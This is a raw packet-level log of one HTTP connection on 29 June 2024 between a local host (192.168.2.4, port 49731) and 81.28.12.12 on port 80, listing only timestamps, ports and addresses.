Jun 29, 2024 08:05:08.185266972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.185298920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.185322046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.185359001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.185374975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.185410976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.185431004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.185470104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.185482979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.185590029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.186007023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.186060905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.186080933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.186111927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.186131001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.186150074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.186182022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.186217070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.186249018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.186270952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.186301947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.186933041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.186992884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.187061071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.187096119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490376949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490443945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490485907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490535975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490564108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490616083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490636110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490680933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490706921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490740061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490761995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490792036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490809917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490845919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490861893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490912914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.490933895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490966082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.490984917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.491010904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.491036892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.491086960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.491525888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.491588116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.491616011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.491647959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.491668940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.491693974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.491720915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.491807938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.491861105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.492400885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.492464066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.492479086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.492521048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.492593050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.492625952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.492645979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.492666006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.492696047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.492753029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.493155003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493206024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493264914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493278980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.493310928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493343115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493364096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.493388891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.493412971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493462086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.493916035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493974924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.493989944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494021893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.494040966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494081020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494108915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.494141102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.494159937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494187117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494211912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.494345903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494854927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.494889021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.494911909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494931936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.494980097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495012999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495049000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495069027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.495090008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.495115042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495176077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.495693922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495743036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.495765924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495799065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495821953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.495860100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495873928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.495903969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.495925903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495959044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.495980978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.496014118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.496553898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.496615887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.496629953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.496670008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.496697903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.496731043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.496752024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.496782064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.496803045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.496834040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.496854067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.496879101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.497419119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.497471094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.497513056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.497534037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.497560024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.497592926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.497615099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.497648001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.497667074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.497698069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.497725964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.497745991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.498507023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.498539925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.498567104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.498585939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.498615026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.498661995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.499603033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.499635935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.499674082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.499694109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.499722004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.499752998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.499809027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.499835968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.499901056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785211086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785255909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785280943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785317898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785343885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785386086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785434961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785463095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785496950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785516977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785561085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785588980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785621881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785655975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785693884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785725117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785747051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785788059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.785803080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.785845041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.786215067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.786268950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.786313057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.786333084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.786359072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.786393881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.786417961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.786442041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.786468983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.786501884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.786550045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.787079096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.787158966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.787173986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.787225008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.787257910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.787280083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.787308931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.787333965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.787383080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.788003922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.788033962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.788080931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.788105965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.788140059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.788157940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.788183928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.788209915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.788242102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.788269997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.788295984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.788881063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.788933039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.788954020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789004087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789026976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.789047956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.789077044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789109945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789160967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.789649010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789696932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.789722919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789769888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.789794922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789828062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789860964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.789880991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.789912939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.790481091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.790509939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.790550947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.790572882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.790596962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.790628910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.790648937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.790668011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.790698051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.790730000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.790776968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.791333914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.791384935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.791418076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.791476011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.791490078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.791531086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.791544914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.791584969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.791599035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.791630030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.791661978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.791678905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.792422056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.792499065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.792516947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.792546988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.792598009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.792632103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.792651892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.792680025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.792701960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.792733908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.792753935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.792783022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.793138981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.793170929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.793191910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.793219090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.793261051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.793293953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.793313980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.793344021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.793375015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.793423891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.793800116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.793848991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:08.793872118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:08.793920994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.079256058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079296112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079332113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079392910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079426050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079463959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.079488039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.079509020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079562902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.079583883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079616070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079638958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.079679966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079693079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.079727888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.079744101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.079798937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.080276012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.080324888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.080348015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.080394030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.080420971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.080455065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.080476046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.080518961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.080560923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.080611944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.081060886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.081120014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.081134081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.081170082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.081217051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.081250906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.081269979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.081291914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.081320047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.081371069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082304955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082359076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082379103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082427025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082449913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082484007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082505941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082536936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082557917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082604885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082750082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082797050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082819939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082851887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082871914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082895041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.082941055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082973003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.082993031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083017111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083043098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.083092928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083631992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.083659887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.083684921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083703995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083750963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.083782911 CEST	80	49731	81.28.12.12	192.168.2.4
